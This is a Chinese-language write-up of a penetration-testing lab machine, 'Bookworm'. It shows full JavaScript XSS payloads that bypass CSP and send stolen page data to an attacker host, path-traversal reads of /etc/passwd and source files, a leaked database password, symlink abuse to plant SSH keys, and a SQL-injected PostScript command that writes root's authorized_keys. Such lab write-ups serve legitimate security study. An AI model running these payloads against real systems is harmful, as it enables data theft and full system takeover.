记一次对bookworm的渗透测试绕过csp
朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把“亿人安全“设为星标”,否则可能就看不到了啦
原文首发在先知社区
https://xz.aliyun.com/t/14879
概要
初始知识
枚举
javascript基本代码编写
sql注入
学到知识
csp绕过
sql注入
web程序漏洞
信息收集
端口扫描
发现22和80开放
因为网络原因我们要多扫描几次,有可能还要加-Pn参数
上述域名和ip加入/etc/hosts文件
Website - TCP 80
Site
/shop 提供书籍和价格
shop/id 单击会出现一本书 的详细页面
点击添加会让我们登录
没有用户让我们注册一个
测试xss edit note功能
burp抓包
无过滤但是有csp
CSP 指的是内容安全策略(Content Security Policy),这是一种网络安全标准,旨在防止跨站脚本攻击(XSS)、数据注入攻击等常见的网络安全威胁。CSP 通过允许网站管理员定义哪些内容是可信的,从而限制可以在网页上执行的脚本和加载的资源
Content-Security-Policy: The page’s settings blocked the loading of a resource at inline (“script-src”)
.由于页面的CSP规则,浏览器阻止了一段内联JavaScript代码的执行
self 指令指定同源是脚本的输入,并且由于没有列出其他任何内容,因此不会运行其他任何内容。如果要运行一个脚本,需要它来自 Bookworm
上传带有xss语句的图片
尝试在edit note调用
绕过访问限制
IDOR 越权查看修改其他用户
发现id 415尝试修改
js读取其他用户数据
构造攻击者URL:使用变量 attacker 构造一个URL字符串,该字符串以 "http://10.10.16.12/?url=" 开始,然后连接传入的 url 参数的编码版本。这里使用了 encodeURIComponent 函数对传入的 url 进行编码,以确保URL参数的格式正确。
发送请求:使用 fetch API 向传入的 url 发送请求。fetch 是一个用于发起网络请求的Promise-based(基于Promise)Web API。
处理响应:对 fetch 请求的响应使用 .then 进行处理。如果请求成功,res 将是一个包含响应数据的 Response 对象。
异步等待响应文本:使用 async 关键字和 await 关键字等待 res.text() 的Promise解决,这将提取响应的文本内容。
Base64编码响应文本:使用 btoa 函数将响应的文本内容进行Base64编码。
发送编码后的数据:将Base64编码后的数据作为参数附加到 attacker URL中,并通过另一个 fetch 请求发送出去。
调用函数:最后,通过调用 sendrequest 函数并传入 "http://bookworm.htb/profile" 作为参数来启动整个过程。
这段代码的目的是向两个不同的URL发送请求:
首先,它向 "http://bookworm.htb/profile" 发送请求,获取响应内容。
然后,它将获取到的响应内容进行Base64编码,并将编码后的结果作为参数发送到攻击者的URL "http://10.10.16.12/?url="。
async function getOrder(html_page) {
try {
const parser = new DOMParser();
const htmlString = html_page;
const doc = parser.parseFromString(htmlString, 'text/html');
const orderLinks = doc.querySelectorAll('tbody a');
const orderUrls = Array.from(orderLinks).map((link) => link.getAttribute('href'));
return orderUrls;
} catch (error) {
console.error("Error:", error);
return [];
}
}
async function sendRequest(url) {
try {
const attacker = "http://10.10.*.*/?url=" + encodeURIComponent(url);
const response = await fetch(url);
const text = await response.text();
const encodedData = btoa(text);
await fetch(attacker + "&data=" + encodedData);
} catch (error) {
console.error("Error:", error);
}
}
async function fetchDataAndSendRequests() {
try {
const response = await fetch("http://bookworm.htb/profile");
const html = await response.text();
const orders = await getOrder(html);
for (const path of orders) {
const url = "http://bookworm.htb" + path;
await sendRequest(url);
}
} catch (error) {
console.error("Error:", error);
}
}
fetchDataAndSendRequests();
解码查看
LFI
使用代码查看我们所需要的内容
function getOrder(html_page) {
const parser = new DOMParser();
const htmlString = html_page;
const doc = parser.parseFromString(htmlString, 'text/html');
const orderLinks = doc.querySelectorAll('tbody a');
const orderUrls = Array.from(orderLinks).map((link) => link.getAttribute('href'));
return orderUrls;
}
function getDownload(html) {
const container = document.createElement('div');
container.innerHTML = html;
const downloadLink = container.querySelector('a[href^="/download"]');
const downloadURL = downloadLink ? downloadLink.href.substring(0, downloadLink.href.lastIndexOf("=") + 1) + ".&bookIds=../../../../../../proc/self/cwd/database.js" : null;
return downloadURL;
}
function arrayBufferToBase64(buffer) {
var binary = '';
var bytes = new Uint8Array(buffer);
var len = bytes.byteLength;
for (var i = 0; i < len; i++) {
binary += String.fromCharCode(bytes[i]);
}
return btoa(binary);
}
async function sendRequest(url) {
try {
const attacker = "http://10.10.*.*/?url=" + encodeURIComponent(url);
const response = await fetch(url);
const arrayBuffer = await response.arrayBuffer();
const encodedData = arrayBufferToBase64(arrayBuffer);
await fetch(attacker + "&data=" + encodedData);
} catch (error) {
console.error("Error:", error);
}
}
async function getPdf(url) {
try {
const response = await fetch(url);
const html = await response.text();
const download = getDownload(html);
if (download) {
await sendRequest(download);
}
} catch (error) {
console.error("Error:", error);
}
}
fetch("http://bookworm.htb/profile").then(async (res) => {
try {
const html = await res.text();
const orders = getOrder(html);
for (const path of orders) {
const url = "http://bookworm.htb" + path;
await getPdf(url);
}
} catch (error) {
console.error("Error:", error);
}
});
function getOrder(html_page) {
const parser = new DOMParser();
const doc = parser.parseFromString(html_page, 'text/html');
return Array.from(doc.querySelectorAll('tbody a'), link => "http://bookworm.htb" + link.getAttribute('href'));
}
function getDownload(html) {
const parser = new DOMParser();
const doc = parser.parseFromString(html, 'text/html');
const downloadLink = doc.querySelector('a[href^="/download"]');
return downloadLink ? downloadLink.href.replace(/=(.+)$/, "=.&bookIds=../../../../../../etc/passwd") : null;
}
function arrayBufferToBase64(buffer) {
return btoa(String.fromCharCode(...new Uint8Array(buffer)));
}
function sendRequest(url) {
const attacker = "http://10.10.*.*/?url=" + encodeURIComponent(url); // Fixed the URL
fetch(url).then(async (res) => { // Added missing parameter in .then()
fetch(attacker + "&data=" + arrayBufferToBase64(await res.arrayBuffer()));
});
}
async function getPdf(url) {
const html = await (await fetch(url)).text();
const download = getDownload(html);
if (download) {
sendRequest(download);
}
}
fetch("http://bookworm.htb/profile") // Added missing quotes for the string
.then(res => res.text())
.then(html => {
const orders = getOrder(html);
for (const path of orders) {
getPdf(path); // getPdf is now an async function, consider using Promise.all if you want to wait for all requests to complete
}
})
.catch(error => {
console.error('Error fetching profile:', error);
});
我们把下载的内容做一个解密
查看当前运行的进程
/proc/self/cmdline
查看当前进程文件
似乎在运行database.js
这里我们可以根据前面信息收集到的内容,推断是不是node.js,然后去找寻起构造文件
const sequelize = new Sequelize(
process.env.NODE_ENV === "production"
? {
dialect: "mariadb",
dialectOptions: {
host: "127.0.0.1",
user: "bookworm",
database: "bookworm",
password: "FrankTh3JobGiver",
},
logging: false,
}
: "sqlite::memory::"
);
frak
ssh frank@bookworm.htb
Privilege Escalation
信息收集发现其他用户
Shell as neil
可以查看neil内的源代码,发现3001端口
端口转发
ssh frank@bookworm.htb -L 3001:127.0.0.1:3001
我们这里为啥么要使用ssh转发,因为ssh是系统自带
是一个在线的格式转换器,根据代码知道后端调用的calibre
简单测试转换功能,发现输出在outputs目录,文件名被重命名
查看calibre文档,发现可以使用其他输入输出格式例如html,txt:
ebook-convert — calibre 6.19.1 documentation
https://manual.calibre-ebook.com/generated/en/ebook-convert.html
有用法
它采用基于输入和输出扩展名的文件格式。如果没有输出扩展,则假定它是“开放式电子书 (OEB)”格式
我们可以使用软件进行本地测试和网站转发测试
根据代码,后段执行的命令大概这样,输出文件名拼接了我们可控的outputType:
const destinationName = ${fileId}.${outputType}
;
const destinationPath = path.resolve(path.join(__dirname, "output", destinationName));
或许是目录遍历,我们在burp Repeater中测试它
可以写入
我们可不可以把公钥写入到neil用户,默认ebook-convert会创建目录
所以我们思考可以试试软连接方式吗
生成短rsa
因为sim保护,所以我们要先新建一个777文件,然后创建写入文件,在写入软连接
https://sysctl-explorer.net/fs/protected_symlinks/
Shell as root
neil 可以sudo执行genlabel,这是一个自定义程序,内部调用了ps2pdf执行postscript:
测试
文件传输打开
源码分析
根据代码查看疑似存在注入
调用模板
通过sql注入,我们就可以控制最终带入到postscript模板中的各种数据,从而控制最终执行的postscript脚本
查看模板
查看/usr/local/labelgeneration/template.ps模板文件,构造闭合,通过使用类似这样的postscript,就可以写入任意文件例如ssh公钥
https://stackoverflow.com/questions/25702146/file-i-o-in-postscript
) show
/outfile1 (/root/.ssh/authorized_keys) (w) file def
outfile1 (<your SSH public key>) writestring
outfile1 closefile
(a
所以我们就可以 直接构造提权root
sudo /usr/local/bin/genlabel "0 union select') show\n/outfile1(/root/.ssh/authorized_keys) (w) file def\noutfile1 (<your SSH public key>) writestring\noutfile1 closefile\n\n(a' as name, 'aa' as addressLine1, 'bb' as addressLine2, 'tt' as town, 'pp' as postcode, 0 as orderId, 1 as userId;"
总结:从csp绕过,到横向,从基础到内网多用户跳转,代码编写,漏洞利用,更多的说明从点到面,渗透中需要更多的知识,防守防更需要排查可能存在的点,进行早预防。
- 点赞
- 收藏
- 关注作者
评论(0)